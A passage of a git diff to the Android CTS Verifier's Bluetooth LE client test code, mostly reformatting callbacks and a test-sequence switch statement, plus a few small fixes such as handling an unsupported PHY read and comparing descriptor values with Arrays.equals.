+            if (DEBUG) {
+                Log.d(TAG,
+                        "onConnectionStateChange: status= " + status + ", newState= " + newState);
+            }
             if (status == BluetoothGatt.GATT_SUCCESS) {
                 if (newState == BluetoothProfile.STATE_CONNECTED) {
                     mBleState = newState;
@@ -1034,10 +1084,11 @@
         @Override
         public void onServicesDiscovered(BluetoothGatt gatt, int status) {
             super.onServicesDiscovered(gatt, status);
-            if (DEBUG){
+            if (DEBUG) {
                 Log.d(TAG, "onServiceDiscovered");
             }
-            if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID) != null)) {
+            if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID)
+                    != null)) {
                 notifyServicesDiscovered();
             }
         }
@@ -1045,7 +1096,7 @@
         @Override
         public void onMtuChanged(BluetoothGatt gatt, int mtu, int status) {
             super.onMtuChanged(gatt, mtu, status);
-            if (DEBUG){
+            if (DEBUG) {
                 Log.d(TAG, "onMtuChanged");
             }
             if (status == BluetoothGatt.GATT_SUCCESS) {
@@ -1072,12 +1123,14 @@
         }
 
         @Override
-        public void onCharacteristicWrite(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, final int status) {
+        public void onCharacteristicWrite(BluetoothGatt gatt,
+                BluetoothGattCharacteristic characteristic, final int status) {
             super.onCharacteristicWrite(gatt, characteristic, status);
             String value = characteristic.getStringValue(0);
             final UUID uid = characteristic.getUuid();
             if (DEBUG) {
-                Log.d(TAG, "onCharacteristicWrite: characteristic.val=" + value + " status=" + status);
+                Log.d(TAG,
+                        "onCharacteristicWrite: characteristic.val=" + value + " status=" + status);
             }
 
             if (BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED.equals(mCurrentAction)) {
@@ -1106,11 +1159,14 @@
                 switch (mExecReliableWrite) {
                     case RELIABLE_WRITE_NONE:
                         if (status == BluetoothGatt.GATT_SUCCESS) {
-                            if (characteristic.getUuid().equals(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
+                            if (characteristic.getUuid().equals(
+                                    CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
                                 notifyCharacteristicWriteNeedEncrypted(value);
-                            } else if (!characteristic.getUuid().equals(CHARACTERISTIC_RESULT_UUID)) {
+                            } else if (!characteristic.getUuid().equals(
+                                    CHARACTERISTIC_RESULT_UUID)) {
                                 // verify
-                                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), characteristic.getValue())) {
+                                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(),
+                                        characteristic.getValue())) {
                                     notifyCharacteristicWrite(value);
                                 } else {
                                     notifyError("Written data is not correct");
@@ -1118,7 +1174,8 @@
                             }
                         } else if (status == BluetoothGatt.GATT_WRITE_NOT_PERMITTED) {
                             if (uid.equals(CHARACTERISTIC_NO_WRITE_UUID)) {
-                                writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.WRITE_NO_PERMISSION);
+                                writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+                                        BleServerService.WRITE_NO_PERMISSION);
                                 notifyCharacteristicWriteNoPermission(value);
                             } else {
                                 notifyError("Not Permission Write: " + status + " : " + uid);
@@ -1134,7 +1191,8 @@
                         if (WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE.equals(value)) {
                             // write next data
                             mExecReliableWrite = ReliableWriteState.RELIABLE_WRITE_WRITE_2ND_DATA;
-                            writeCharacteristic(CHARACTERISTIC_UUID, WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE);
+                            writeCharacteristic(CHARACTERISTIC_UUID,
+                                    WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE);
                         } else {
                             notifyError("Failed to write characteristic: " + status + " : " + uid);
                         }
@@ -1181,7 +1239,8 @@
         }
 
         @Override
-        public void onCharacteristicRead(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, int status) {
+        public void onCharacteristicRead(BluetoothGatt gatt,
+                BluetoothGattCharacteristic characteristic, int status) {
             super.onCharacteristicRead(gatt, characteristic, status);
             // Note: Both this method and onCharacteristicRead(byte[]) will be called.
             UUID uid = characteristic.getUuid();
@@ -1213,12 +1272,13 @@
                 }
             } else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
                 if (uid.equals(CHARACTERISTIC_NO_READ_UUID)) {
-                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.READ_NO_PERMISSION);
+                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+                            BleServerService.READ_NO_PERMISSION);
                     notifyCharacteristicReadNoPermission();
                 } else {
                     notifyError("Not Permission Read: " + status + " : " + uid);
                 }
-            } else if(status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
+            } else if (status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
                 notifyError("Not Authentication Read: " + status + " : " + uid);
             } else {
                 notifyError("Failed to read characteristic: " + status + " : " + uid);
@@ -1226,7 +1286,8 @@
         }
 
         @Override
-        public void onDescriptorWrite(BluetoothGatt gatt, BluetoothGattDescriptor descriptor, int status) {
+        public void onDescriptorWrite(BluetoothGatt gatt, BluetoothGattDescriptor descriptor,
+                int status) {
             super.onDescriptorWrite(gatt, descriptor, status);
             if (DEBUG) {
                 Log.d(TAG, "onDescriptorWrite");
@@ -1235,7 +1296,8 @@
             if ((status == BluetoothGatt.GATT_SUCCESS)) {
                 if (uid.equals(UPDATE_DESCRIPTOR_UUID)) {
                     Log.d(TAG, "write in update descriptor.");
-                    if (descriptor.getValue() == BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE) {
+                    if (Arrays.equals(descriptor.getValue(),
+                            BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE)) {
                         notifyDisableNotificationCompletion();
                     }
                 } else if (uid.equals(DESCRIPTOR_UUID)) {
@@ -1250,7 +1312,8 @@
                 }
             } else if (status == BluetoothGatt.GATT_WRITE_NOT_PERMITTED) {
                 if (uid.equals(DESCRIPTOR_NO_WRITE_UUID)) {
-                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.DESCRIPTOR_WRITE_NO_PERMISSION);
+                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+                            BleServerService.DESCRIPTOR_WRITE_NO_PERMISSION);
                     notifyDescriptorWriteNoPermission();
                 } else {
                     notifyError("Not Permission Write: " + status + " : " + descriptor.getUuid());
@@ -1261,7 +1324,8 @@
         }
 
         @Override
-        public void onDescriptorRead(BluetoothGatt gatt, BluetoothGattDescriptor descriptor, int status) {
+        public void onDescriptorRead(BluetoothGatt gatt, BluetoothGattDescriptor descriptor,
+                int status) {
             super.onDescriptorRead(gatt, descriptor, status);
             // Note: Both this method and onDescriptorRead(byte[]) will be called.
             if (DEBUG) {
@@ -1292,7 +1356,8 @@
                 }
             } else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
                 if (uid.equals(DESCRIPTOR_NO_READ_UUID)) {
-                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.DESCRIPTOR_READ_NO_PERMISSION);
+                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID),
+                            BleServerService.DESCRIPTOR_READ_NO_PERMISSION);
                     notifyDescriptorReadNoPermission();
                 } else {
                     notifyError("Not Permission Read: " + status + " : " + descriptor.getUuid());
@@ -1303,7 +1368,8 @@
         }
 
         @Override
-        public void onCharacteristicChanged(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic) {
+        public void onCharacteristicChanged(BluetoothGatt gatt,
+                BluetoothGattCharacteristic characteristic) {
             super.onCharacteristicChanged(gatt, characteristic);
             UUID uid = characteristic.getUuid();
             // Note: Both this method and onCharacteristicChanged(byte[]) will be called.
@@ -1371,10 +1437,12 @@
         public void onPhyRead(BluetoothGatt gatt, int txPhy, int rxPhy, int status) {
             super.onPhyRead(gatt, txPhy, rxPhy, status);
             if (DEBUG) {
-                Log.d(TAG, "onPhyRead");
+                Log.d(TAG, "onPhyRead status=" + status);
             }
             if (status == BluetoothGatt.GATT_SUCCESS) {
                 notifyPhyRead(txPhy, rxPhy);
+            } else if (status == BluetoothGatt.GATT_REQUEST_NOT_SUPPORTED) {
+                notifyPhyReadSkipped();
             } else {
                 notifyError("Failed to read phy");
             }
@@ -1427,10 +1495,12 @@
                                 notifyError("Failed to call create bond");
                             }
                         } else {
-                            mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure, mGattCallbacks);
+                            mBluetoothGatt = connectGatt(result.getDevice(), mContext, false,
+                                    mSecure, mGattCallbacks);
                         }
                     } else {
-                        mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure, mGattCallbacks);
+                        mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure,
+                                mGattCallbacks);
                     }
                 } else {
                     notifyError("There is no validity to Advertise servie.");
@@ -1460,7 +1530,7 @@
         builder.append("REQUEST_MTU");
         int len = length - builder.length();
         for (int i = 0; i < len; ++i) {
-            builder.append(""+(i%10));
+            builder.append("" + (i % 10));
         }
         return builder.toString();
     }
@@ -1470,17 +1540,18 @@
         public void onReceive(Context context, Intent intent) {
             if (intent.getAction().equals(BluetoothDevice.ACTION_BOND_STATE_CHANGED)) {
                 BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
-                int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE, BluetoothDevice.BOND_NONE);
+                int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE,
+                        BluetoothDevice.BOND_NONE);
                 switch (state) {
                     case BluetoothDevice.BOND_BONDED:
                         if ((mBluetoothGatt == null) &&
-                            (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
+                                (device.getType() != BluetoothDevice.DEVICE_TYPE_CLASSIC)) {
                             if (DEBUG) {
                                 Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt device="
-                                             + device + ", mSecure=" + mSecure);
+                                        + device + ", mSecure=" + mSecure);
                             }
                             mBluetoothGatt = connectGatt(device, mContext, false, mSecure,
-                                                         mGattCallbacks);
+                                    mGattCallbacks);
                         }
                         break;
                     case BluetoothDevice.BOND_NONE:
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
index 7cdf1d3..2a7c8b4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientTestBaseActivity.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.verifier.bluetooth;
 
+import static com.android.compatibility.common.util.ShellIdentityUtils.invokeWithShellPermissions;
+
 import android.app.AlertDialog;
 import android.app.Dialog;
 import android.app.ProgressDialog;
@@ -31,6 +33,7 @@
 import android.util.Log;
 import android.widget.ListView;
 
+
 import com.android.cts.verifier.PassFailButtons;
 import com.android.cts.verifier.R;
 
@@ -124,6 +127,7 @@
         filter.addAction(BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED);
         filter.addAction(BleClientService.BLE_READ_REMOTE_RSSI);
         filter.addAction(BleClientService.BLE_PHY_READ);
+        filter.addAction(BleClientService.BLE_PHY_READ_SKIPPED);
         filter.addAction(BleClientService.BLE_ON_SERVICE_CHANGED);
         filter.addAction(BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION);
         filter.addAction(BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION);
@@ -225,177 +229,185 @@
             String newAction = null;
             String actionName = null;
             long previousPassed = mPassed;
-            final Intent startIntent = new Intent(BleClientTestBaseActivity.this, BleClientService.class);
+            final Intent startIntent = new Intent(BleClientTestBaseActivity.this,
+                    BleClientService.class);
             if (action != null) {
                 Log.d(TAG, "Processing " + action);
             }
             switch (action) {
-            case BleClientService.BLE_BLUETOOTH_DISABLED:
-                showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
-                break;
-            case BleClientService.BLE_BLUETOOTH_CONNECTED:
-                actionName = getString(R.string.ble_client_connect_name);
-                mTestAdapter.setTestPass(BLE_CLIENT_CONNECT);
-                mPassed |= PASS_FLAG_CONNECT;
-                // execute service discovery test
-                newAction = BleClientService.BLE_CLIENT_ACTION_BLE_DISCOVER_SERVICE;
-                break;
-            case BleClientService.BLE_SERVICES_DISCOVERED:
-                actionName = getString(R.string.ble_discover_service_name);
-                mTestAdapter.setTestPass(BLE_BLE_DISCOVER_SERVICE);
-                mPassed |= PASS_FLAG_DISCOVER;
-                // execute MTU requesting test (23bytes)
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC;
-                break;
-            case BleClientService.BLE_MTU_CHANGED_23BYTES:
-                actionName = getString(R.string.ble_mtu_23_name);
-                mTestAdapter.setTestPass(BLE_REQUEST_MTU_23BYTES);
-                mPassed |= PASS_FLAG_MTU_CHANGE_23BYTES;
-                // execute MTU requesting test (512bytes)
-                newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_512;
-                showProgressDialog = true;
-                break;
-            case BleClientService.BLE_MTU_CHANGED_512BYTES:
-                actionName = getString(R.string.ble_mtu_512_name);
-                mTestAdapter.setTestPass(BLE_REQUEST_MTU_512BYTES);
-                mPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
-                // execute characteristic reading test
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION;
-                break;
-            case BleClientService.BLE_CHARACTERISTIC_READ:
-                actionName = getString(R.string.ble_read_characteristic_name);
-                mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC);
-                mPassed |= PASS_FLAG_READ_CHARACTERISTIC;
-                // execute characteristic writing test
-                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC;
-                break;
-            case BleClientService.BLE_CHARACTERISTIC_WRITE:
-                actionName = getString(R.string.ble_write_characteristic_name);
-                mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC);
-                mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC;
-                newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_23;
-                showProgressDialog = true;
-                break;
-            case BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION:
-                actionName = getString(R.string.ble_read_characteristic_nopermission_name);
-                mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC_NO_PERMISSION);
-                mPassed |= PASS_FLAG_READ_CHARACTERISTIC_NO_PERMISSION;
-                // execute unpermitted characteristic writing test
-                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION;
-                break;
-            case BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION:
-                actionName = getString(R.string.ble_write_characteristic_nopermission_name);
-                mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC_NO_PERMISSION);
-                mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC_NO_PERMISSION;
-                // execute reliable write test
-                newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE;
-                showProgressDialog = true;
-                break;
-            case BleClientService.BLE_RELIABLE_WRITE_COMPLETED:
-                actionName = getString(R.string.ble_reliable_write_name);
-                mTestAdapter.setTestPass(BLE_RELIABLE_WRITE);
-                mPassed |= PASS_FLAG_RELIABLE_WRITE;
+                case BleClientService.BLE_BLUETOOTH_DISABLED:
+                    showErrorDialog(R.string.ble_bluetooth_disable_title,
+                            R.string.ble_bluetooth_disable_message, true);
+                    break;
+                case BleClientService.BLE_BLUETOOTH_CONNECTED:
+                    actionName = getString(R.string.ble_client_connect_name);
+                    mTestAdapter.setTestPass(BLE_CLIENT_CONNECT);
+                    mPassed |= PASS_FLAG_CONNECT;
+                    // execute service discovery test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_BLE_DISCOVER_SERVICE;
+                    break;
+                case BleClientService.BLE_SERVICES_DISCOVERED:
+                    actionName = getString(R.string.ble_discover_service_name);
+                    mTestAdapter.setTestPass(BLE_BLE_DISCOVER_SERVICE);
+                    mPassed |= PASS_FLAG_DISCOVER;
+                    // execute MTU requesting test (23bytes)
+                    newAction = BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC;
+                    break;
+                case BleClientService.BLE_MTU_CHANGED_23BYTES:
+                    actionName = getString(R.string.ble_mtu_23_name);
+                    mTestAdapter.setTestPass(BLE_REQUEST_MTU_23BYTES);
+                    mPassed |= PASS_FLAG_MTU_CHANGE_23BYTES;
+                    // execute MTU requesting test (512bytes)
+                    newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_512;
+                    showProgressDialog = true;
+                    break;
+                case BleClientService.BLE_MTU_CHANGED_512BYTES:
+                    actionName = getString(R.string.ble_mtu_512_name);
+                    mTestAdapter.setTestPass(BLE_REQUEST_MTU_512BYTES);
+                    mPassed |= PASS_FLAG_MTU_CHANGE_512BYTES;
+                    // execute characteristic reading test
+                    newAction =
+                            BleClientService.BLE_CLIENT_ACTION_READ_CHARACTERISTIC_NO_PERMISSION;
+                    break;
+                case BleClientService.BLE_CHARACTERISTIC_READ:
+                    actionName = getString(R.string.ble_read_characteristic_name);
+                    mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC);
+                    mPassed |= PASS_FLAG_READ_CHARACTERISTIC;
+                    // execute characteristic writing test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC;
+                    break;
+                case BleClientService.BLE_CHARACTERISTIC_WRITE:
+                    actionName = getString(R.string.ble_write_characteristic_name);
+                    mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC);
+                    mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC;
+                    newAction = BleClientService.BLE_CLIENT_ACTION_REQUEST_MTU_23;
+                    showProgressDialog = true;
+                    break;
+                case BleClientService.BLE_CHARACTERISTIC_READ_NOPERMISSION:
+                    actionName = getString(R.string.ble_read_characteristic_nopermission_name);
+                    mTestAdapter.setTestPass(BLE_READ_CHARACTERISTIC_NO_PERMISSION);
+                    mPassed |= PASS_FLAG_READ_CHARACTERISTIC_NO_PERMISSION;
+                    // execute unpermitted characteristic writing test
+                    newAction =
+                            BleClientService.BLE_CLIENT_ACTION_WRITE_CHARACTERISTIC_NO_PERMISSION;
+                    break;
+                case BleClientService.BLE_CHARACTERISTIC_WRITE_NOPERMISSION:
+                    actionName = getString(R.string.ble_write_characteristic_nopermission_name);
+                    mTestAdapter.setTestPass(BLE_WRITE_CHARACTERISTIC_NO_PERMISSION);
+                    mPassed |= PASS_FLAG_WRITE_CHARACTERISTIC_NO_PERMISSION;
+                    // execute reliable write test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE;
+                    showProgressDialog = true;
+                    break;
+                case BleClientService.BLE_RELIABLE_WRITE_COMPLETED:
+                    actionName = getString(R.string.ble_reliable_write_name);
+                    mTestAdapter.setTestPass(BLE_RELIABLE_WRITE);
+                    mPassed |= PASS_FLAG_RELIABLE_WRITE;
 //                newAction = BleClientService.BLE_CLIENT_ACTION_RELIABLE_WRITE_BAD_RESP;
 
-                // skip Reliable write (bad response) test
-                mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
-                Log.d(TAG, "Skip PASS_FLAG_RELIABLE_WRITE_BAD_RESP.");
-                newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
-                showProgressDialog = true;
-                break;
-            case BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED: {
-                actionName = getString(R.string.ble_reliable_write_bad_resp_name);
-                if(!intent.hasExtra(BleClientService.EXTRA_ERROR_MESSAGE)) {
+                    // skip Reliable write (bad response) test
                     mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
-                    mTestAdapter.setTestPass(BLE_RELIABLE_WRITE_BAD_RESP);
+                    Log.d(TAG, "Skip PASS_FLAG_RELIABLE_WRITE_BAD_RESP.");
+                    newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
+                    showProgressDialog = true;
+                    break;
+                case BleClientService.BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED: {
+                    actionName = getString(R.string.ble_reliable_write_bad_resp_name);
+                    if (!intent.hasExtra(BleClientService.EXTRA_ERROR_MESSAGE)) {
+                        mPassed |= PASS_FLAG_RELIABLE_WRITE_BAD_RESP;
+                        mTestAdapter.setTestPass(BLE_RELIABLE_WRITE_BAD_RESP);
+                    }
+                    // execute notification test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
+                    showProgressDialog = true;
                 }
-                // execute notification test
-                newAction = BleClientService.BLE_CLIENT_ACTION_NOTIFY_CHARACTERISTIC;
-                showProgressDialog = true;
-            }
                 break;
-            case BleClientService.BLE_CHARACTERISTIC_CHANGED:
-                actionName = getString(R.string.ble_notify_characteristic_name);
-                mTestAdapter.setTestPass(BLE_NOTIFY_CHARACTERISTIC);
-                mPassed |= PASS_FLAG_NOTIFY_CHARACTERISTIC;
-                // execute indication test
-                newAction = BleClientService.BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC;
-                showProgressDialog = true;
-                break;
-            case BleClientService.BLE_CHARACTERISTIC_INDICATED:
-                actionName = getString(R.string.ble_indicate_characteristic_name);
-                mTestAdapter.setTestPass(BLE_INDICATE_CHARACTERISTIC);
-                mPassed |= PASS_FLAG_INDICATE_CHARACTERISTIC;
-                // execute descriptor reading test
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR;
-                break;
-            case BleClientService.BLE_DESCRIPTOR_READ:
-                actionName = getString(R.string.ble_read_descriptor_name);
-                mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR);
-                mPassed |= PASS_FLAG_READ_DESCRIPTOR;
-                // execute descriptor writing test
-                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR;
-                break;
-            case BleClientService.BLE_DESCRIPTOR_WRITE:
-                actionName = getString(R.string.ble_write_descriptor_name);
-                mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR);
-                mPassed |= PASS_FLAG_WRITE_DESCRIPTOR;
-                // execute unpermitted descriptor reading test
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION;
-                break;
-            case BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION:
-                actionName = getString(R.string.ble_read_descriptor_nopermission_name);
-                mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR_NO_PERMISSION);
-                mPassed |= PASS_FLAG_READ_DESCRIPTOR_NO_PERMISSION;
-                // execute unpermitted descriptor writing test
-                newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION;
-                break;
-            case BleClientService.BLE_DESCRIPTOR_WRITE_NOPERMISSION:
-                actionName = getString(R.string.ble_write_descriptor_nopermission_name);
-                mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR_NO_PERMISSION);
-                mPassed |= PASS_FLAG_WRITE_DESCRIPTOR_NO_PERMISSION;
+                case BleClientService.BLE_CHARACTERISTIC_CHANGED:
+                    actionName = getString(R.string.ble_notify_characteristic_name);
+                    mTestAdapter.setTestPass(BLE_NOTIFY_CHARACTERISTIC);
+                    mPassed |= PASS_FLAG_NOTIFY_CHARACTERISTIC;
+                    // execute indication test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_INDICATE_CHARACTERISTIC;
+                    showProgressDialog = true;
+                    break;
+                case BleClientService.BLE_CHARACTERISTIC_INDICATED:
+                    actionName = getString(R.string.ble_indicate_characteristic_name);
+                    mTestAdapter.setTestPass(BLE_INDICATE_CHARACTERISTIC);
+                    mPassed |= PASS_FLAG_INDICATE_CHARACTERISTIC;
+                    // execute descriptor reading test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR;
+                    break;
+                case BleClientService.BLE_DESCRIPTOR_READ:
+                    actionName = getString(R.string.ble_read_descriptor_name);
+                    mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR);
+                    mPassed |= PASS_FLAG_READ_DESCRIPTOR;
+                    // execute descriptor writing test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR;
+                    break;
+                case BleClientService.BLE_DESCRIPTOR_WRITE:
+                    actionName = getString(R.string.ble_write_descriptor_name);
+                    mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR);
+                    mPassed |= PASS_FLAG_WRITE_DESCRIPTOR;
+                    // execute unpermitted descriptor reading test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_READ_DESCRIPTOR_NO_PERMISSION;
+                    break;
+                case BleClientService.BLE_DESCRIPTOR_READ_NOPERMISSION:
+                    actionName = getString(R.string.ble_read_descriptor_nopermission_name);
+                    mTestAdapter.setTestPass(BLE_READ_DESCRIPTOR_NO_PERMISSION);
+                    mPassed |= PASS_FLAG_READ_DESCRIPTOR_NO_PERMISSION;
+                    // execute unpermitted descriptor writing test
+                    newAction = BleClientService.BLE_CLIENT_ACTION_WRITE_DESCRIPTOR_NO_PERMISSION;
+                    break;
+                case BleClientService.BLE_DESCRIPTOR_WRITE_NOPERMISSION:
+                    actionName = getString(R.string.ble_write_descriptor_nopermission_name);
+                    mTestAdapter.setTestPass(BLE_WRITE_DESCRIPTOR_NO_PERMISSION);
+                    mPassed |= PASS_FLAG_WRITE_DESCRIPTOR_NO_PERMISSION;
 // TODO: too flaky b/34951749
-                // execute RSSI requesting test
-                // newAction = BleClientService.BLE_CLIENT_ACTION_READ_RSSI;
-                mPassed |= PASS_FLAG_READ_RSSI;
-                Log.d(TAG, "Skip PASS_FLAG_READ_RSSI.");
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
-                break;
-            case BleClientService.BLE_READ_REMOTE_RSSI:
-                actionName = getString(R.string.ble_read_rssi_name);
-                mTestAdapter.setTestPass(BLE_READ_RSSI);
-                mPassed |= PASS_FLAG_READ_RSSI;
-                newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
-                break;
-            case BleClientService.BLE_PHY_READ:
-                actionName = getString(R.string.ble_read_phy_name);
-                mTestAdapter.setTestPass(BLE_READ_PHY);
-                mPassed |= PASS_FLAG_READ_PHY;
-                newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
-                break;
-            case BleClientService.BLE_ON_SERVICE_CHANGED:
-                actionName = getString(R.string.ble_on_service_changed);
-                mTestAdapter.setTestPass(BLE_ON_SERVICE_CHANGED);
-                mPassed |= PASS_FLAG_ON_SERVICE_CHANGED;
-                newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
-                break;
-            case BleClientService.BLE_BLUETOOTH_DISCONNECTED:
-                mTestAdapter.setTestPass(BLE_CLIENT_DISCONNECT);
-                mPassed |= PASS_FLAG_DISCONNECT;
-                // all test done
-                newAction = null;
-                break;
-            case BleClientService.BLE_BLUETOOTH_MISMATCH_SECURE:
-                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
-                break;
-            case BleClientService.BLE_BLUETOOTH_MISMATCH_INSECURE:
-                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
-                break;
+                    // execute RSSI requesting test
+                    // newAction = BleClientService.BLE_CLIENT_ACTION_READ_RSSI;
+                    mPassed |= PASS_FLAG_READ_RSSI;
+                    Log.d(TAG, "Skip PASS_FLAG_READ_RSSI.");
+                    newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
+                    break;
+                case BleClientService.BLE_READ_REMOTE_RSSI:
+                    actionName = getString(R.string.ble_read_rssi_name);
+                    mTestAdapter.setTestPass(BLE_READ_RSSI);
+                    mPassed |= PASS_FLAG_READ_RSSI;
+                    newAction = BleClientService.BLE_CLIENT_ACTION_READ_PHY;
+                    break;
+                case BleClientService.BLE_PHY_READ:
+                case BleClientService.BLE_PHY_READ_SKIPPED:
+                    actionName = getString(R.string.ble_read_phy_name);
+                    mTestAdapter.setTestPass(BLE_READ_PHY);
+                    mPassed |= PASS_FLAG_READ_PHY;
+                    newAction = BleClientService.BLE_CLIENT_ACTION_TRIGGER_SERVICE_CHANGED;
+                    break;
+                case BleClientService.BLE_ON_SERVICE_CHANGED:
+                    actionName = getString(R.string.ble_on_service_changed);
+                    mTestAdapter.setTestPass(BLE_ON_SERVICE_CHANGED);
+                    mPassed |= PASS_FLAG_ON_SERVICE_CHANGED;
+                    newAction = BleClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
+                    break;
+                case BleClientService.BLE_BLUETOOTH_DISCONNECTED:
+                    mTestAdapter.setTestPass(BLE_CLIENT_DISCONNECT);
+                    mPassed |= PASS_FLAG_DISCONNECT;
+                    // all test done
+                    newAction = null;
+                    break;
+                case BleClientService.BLE_BLUETOOTH_MISMATCH_SECURE:
+                    showErrorDialog(R.string.ble_bluetooth_mismatch_title,
+                            R.string.ble_bluetooth_mismatch_secure_message, true);
+                    break;
+                case BleClientService.BLE_BLUETOOTH_MISMATCH_INSECURE:
+                    showErrorDialog(R.string.ble_bluetooth_mismatch_title,
+                            R.string.ble_bluetooth_mismatch_insecure_message, true);
+                    break;
             }
 
             if (previousPassed != mPassed) {
-                String logMessage = String.format("Passed Flags has changed from 0x%08X to 0x%08X. Delta=0x%08X",
